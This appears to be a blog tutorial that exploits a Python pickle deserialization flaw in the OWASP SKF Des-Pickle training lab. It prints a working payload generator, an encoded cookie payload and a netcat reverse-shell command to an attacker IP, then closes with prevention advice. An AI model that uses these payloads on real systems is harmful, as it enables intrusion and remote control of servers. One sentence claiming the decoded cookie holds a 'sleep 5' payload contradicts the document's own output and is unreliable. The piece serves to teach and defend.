A Close Encounter with Insecure Deserialization - Part 2

November 25, 2023

This is a continuation of the previous 'A Close Encounter with Insecure Deserialization' blog. If you haven't read that part, I suggest giving it a look before proceeding with this blog . In this section, we'll focus on obtaining Remote Code Execution by exploiting Insecure Deserialization vulnerabilities.

A real world example on how it can be exploited

To recreate a real-world scenario, we'll use an open-source lab called OWASP SKF Labs: Des-Pickle for the exploitation part. To set up the environment, ensure you have Docker installed on your system. Once Docker is installed, follow these commands in your terminal:

i) Pull the Docker image:


$ sudo docker pull blabla1337/owasp-skf-lab:des-pickle

ii) Run the sample web application on port 5000:


$ sudo docker run --rm -ti -p 5000:5000 blabla1337/owasp-skf-lab:des-pickle

This will launch the sample web application as shown below, and you'll be ready for exploitation.

Fig : Vulnerable web application running on port 5000

Now configure Burp Suite with your web browser and visit either localhost:5000 or 0.0.0.0:5000. Upon first inspection, you'll notice a login panel. This element is of particular interest to penetration testers, as it may present a potential vulnerability for executing various payloads.

First, create an account and attempt to log in without selecting the "remember me" option. Inspect the Burp request, and you'll notice the absence of any information related to the "remember me" functionality. After logging out, log in again, but this time, select the "remember me" option. In the Burp response, you'll observe a string within the "remember me" cookie header. Clicking on the "home" button redirects you to the login page. If you click the submit button without providing credentials, you'll be directed to the post-login page. It worked because we got a remember me cookie during our initial login. Examining the corresponding and subsequent requests in Burp, you'll notice a "remember me" cookie header present in every request. The encoded string within the "remember me" cookie header could suggest object serialization, likely encoded in base64. However, decoding it may not reveal any recognizable patterns indicative of the backend technology used for object serialization.

In my case, the “remember me” cookie is found to be:


rememberme=gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg==

To determine the backend technology of the web application, you can utilize the "Whatweb" tool. Execute the following command in your terminal


./whatweb 0.0.0.0:5000

From the output, it has been observed that the application uses Python 3, with the most commonly used Python module for data serialization being "pickle." This means that the string we found in the "remember me" cookie appears to be a pickle serialized object. This object is later deserialized and checked by the server during the user authentication process. Now, here's where it gets tricky. If the server isn't properly secured and it blindly deserializes untrusted data, there's a potential security issue. An attacker could craft a custom object with a malicious payload, leading to the execution of harmful code upon deserialization by the backend.

Deciphering the Serialized Object

The string we got appears to be base64-encoded and it is a serialized Python object using the "pickle" module. We first need to decode the base64 string and then using the pickle.loads function, we can deserialize the data. You can decode and deserialize it using following python script:


import base64
import pickle

remember_me_cookie = "gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg=="


decoded_data = base64.b64decode(remember_me_cookie)
deserialized_data = pickle.loads(decoded_data)

print(deserialized_data)

When you run this script, it will produce serialized data containing the payload "sleep 5". When this serialized data is subsequently unserialized, it will trigger a system sleep for a duration of 5 seconds. 

The output of the script concludes that the pickled object contains a reference to a class or module named 'usr' which is not present in the current script or module. To successfully unpickle the object, you need to have the 'usr' class defined in your script or import it from a module. Here's an example of how you can define a simple 'usr' class to successfully unpickle the object:


import base64
import pickle

class usr:
    pass

remember_me_cookie = "gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg=="

decoded_data = base64.b64decode(remember_me_cookie)
deserialized_data = pickle.loads(decoded_data)

print(deserialized_data)

We have no idea about the usr class's attributes or methods. So, it is assumed that the usr class in the pickled object is empty and serves as a marker.

The output <__main__.usr object at 0x7f4abe2546d0> indicates that the object has been successfully unpickled, and it is an instance of the usr class.

If the usr class had any attributes or methods, we could access them using dot notation, such as deserialized_data.username or deserialized_data.method(). For that we must get the properties of class usr. To retrieve the properties, we can use the dir() function in Python. This function returns all properties and methods of the specified object without displaying their values. Following the python script helps us to do the same.


import base64
import pickle

class usr:
   pass

remember_me_cookie = "gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg=="

decoded_data = base64.b64decode(remember_me_cookie)
deserialized_data = pickle.loads(decoded_data)

print(dir(deserialized_data))

The properties revealed by the dir() function include many attributes. Upon closer inspection, we identified that the usr class contains 'username' and 'password' attributes. To access the user's credentials, we can use dot notation. For instance, deserialized_data.username provides the value of the 'username' attribute, and deserialized_data.password gives the 'password' value.


import base64
import pickle

class usr:
    pass

remember_me_cookie = "gANjX19tYWluX18KdXNyCnEAKYFxAX1xAihYCAAAAHVzZXJuYW1lcQNYCQAAAEVuY2lwaGVyc3EEWAgAAABwYXNzd29yZHEFWAkAAABFbmNpcGhlcnNxBnViLg=="

decoded_data = base64.b64decode(remember_me_cookie)
deserialized_data = pickle.loads(decoded_data)

print("Username:", deserialized_data.username)
print("Password:", deserialized_data.password)

The program successfully extracted the 'username' and 'password' attributes from the unpickled object. Through this analysis, we explored how the target server handles deserialization using Python's pickle module. Based on that, now we can craft our own serialized string with malicious payload.

Verifying and Exploiting "Insecure way of Deserialization"

To check whether the backend server is blindly trusting user input, we will attempt to inject a malicious string in place of the 'remember me' cookie. For this demonstration, we'll create an object designed to execute a system command when deserialized at the backend machine. To achieve this, we first create an instance of the CommandExecutor class with the system command 'ls -la'. This object is then serialized into a byte stream using the Pickle module. Next, the byte stream is base64-encoded to create the final malicious payload. However, viewing the output of a command, such as 'ls -la,' executed on the target server may not be directly accessible. To evaluate the payload's effectiveness, we attempt to establish a reverse shell from the target server using netcat (nc).

Utilize the provided Python code to generate the malicious string, initiating a reverse shell connection to the IP address and port of attacker machine using ncat:

Create the Malicious Object:


import base64
import pickle

class CommandExecutor:
    def __reduce__(self):
        import os
        return (os.system, ('nc 192.168.1.235 3333 -e "/bin/bash"',))

# Create an instance of CommandExecutor with the system command for a reverse shell
malicious_object = CommandExecutor()

# Serialize the object into a byte stream
malicious_byte_stream = pickle.dumps(malicious_object)

# Encode the byte stream into base64 to create the malicious payload
malicious_payload = base64.b64encode(malicious_byte_stream).decode('utf-8')
print(malicious_payload)

This script generates a serialized data that, in our case, appears as follows:


gASVPwAAAAAAAACMBXBvc2l4lIwGc3lzdGVtlJOUjCRuYyAxOTIuMTY4LjEuMjM1IDMzMzMgLWUgIi9iaW4vYmFzaCKUhZRSlC4=


Now start a Netcat listener on any port like 3333 on our attacker machine (in this case, 192.168.1.235), actively waiting for incoming connections. On the other hand, capture a login request with burp suite and replace the remember me cookie with that malicious string.

When this string gets deserialized by the picke.loads function on the target system, it triggers the execution of the following command:


nc 192.168.1.235 3333 -e "/bin/bash

This netcat command establishes a connection from the target web server(192.168.1.2) to our attacker machine, facilitating remote code execution. Once an attacker successfully achieves remote code execution (RCE) and gains control over the target system, they can indeed run various system commands with the privileges of the compromised application or user.

Fig : Connection received and executing any linux command on target web server

Furthermore, if the attacker manages to identify and exploit additional vulnerabilities or weaknesses in the system, they may potentially escalate their privileges to the root level, granting them even more control and the ability to execute virtually any system command. This underscores the critical importance of securing web applications and diligently addressing insecure deserialization vulnerabilities to prevent such malicious activities.

Preventing insecure deserialization

 From a secure coding perspective, here are some best practices for developers to ensure that insecure deserialization vulnerabilities are not present in their code:

Avoid Untrusted Data Deserialization: The best defense against insecure deserialization is not to deserialize untrusted data in the first place. If possible, limit deserialization to trusted sources and avoid deserializing data from untrusted or external inputs.

Input Validation and Sanitization: Always validate and sanitize user inputs before deserialization. Ensure that the data being deserialized is of the expected type and format. Reject any inputs that do not meet predefined criteria.

Use Safe Serialization Formats: Choose serialization formats that are inherently safer. For example, JSON is less prone to security risks compared to formats like Java serialization or PHP serialization, which can execute arbitrary code.

Implement Digital Signatures: When deserializing data from untrusted sources is necessary, incorporate digital signatures to verify the integrity and authenticity of the serialized data. Only deserialize data that passes the signature validation.

References : 

https://owasp.org/www-project-top-ten/2017/A8_2017-Insecure_Deserialization

https://github.com/blabla1337/skf-labs

https://portswigger.net/web-security/deserialization